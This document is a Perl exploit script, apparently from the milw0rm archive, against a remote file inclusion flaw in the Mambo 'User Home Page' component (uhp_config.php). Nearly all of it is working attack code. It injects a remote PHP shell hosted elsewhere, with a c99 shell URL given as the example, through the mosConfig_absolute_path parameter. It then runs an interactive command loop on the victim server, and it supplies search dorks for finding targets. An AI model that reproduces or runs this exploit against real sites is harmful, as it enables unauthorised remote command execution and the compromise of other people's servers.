#!/usr/bin/perl # _\/_ __ _ # long Life / \/ \/ \ My Home Land # / / / / # (@_ / / // / # _ ) \_______\_/ \_// /________ # (_)@8@8{}<________Palestine_________> # )_/ \_____/ # (@ # # MAMBO Ravenswood: User Home Page (Uhp v0.3) (uhp_config.php) Remote File Inclusion Exploit # Download Script : http://mamboxchange.com/frs/download.php/1582/uhp_0.3.zip # Founded & Coded by: Cold z3ro , Cold-z3ro@hotmail.com # Dork : index.php?option=com_uhp , inurl:com_uhp # Exploit : http://www.example.com/mambo_path/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=Evil-script? ## use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()} head(); while() { print "[shell] \$"; while() { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[....]/; if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in /) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^.Fatal.error/) {print "\nInvalid Command or No Return\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[....]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "\n======================Long Life My Home Land Palestine======================\r\n"; print "\r\n"; print "MAMBO Ravenswood: User Home Page (uhp_config.php) Remote File Inclusion Exploit\r\n"; print " Ravenswood: User Home Page = (Uhp v0.3) \r\n"; print "============================================================================\r\n"; } sub usage() { head(); print "\r\n"; print " Usage: perl Cold-z3ro.pl \r\n\n"; print " - Full path to script Example: http://www.site.com/mambo_path/ \r\n"; print " - Path to Cmd Shell e.g http://b0rizq.by.ru/c99.txt? \r\n"; print " - Cmd Variable Used In Php Shell like [ id ]\r\n"; print "\r\n"; print "============================================================================\r\n"; print "\r\n"; print " Fund And Coded By Cold z3ro \r\n"; print " Cold-z3ro[at]hotmail[dot]com \r\n"; print " Greetz To: www.milw0rm.com , www.hack-teach.com , www.4azhar.com \r\n"; print " Dork : index.php?option=com_uhp , inurl:com_uhp \r\n"; print " Thanks for H666p & HacOor \r\n"; print " ---------\r\n"; exit(); } # milw0rm.com [2007-03-23]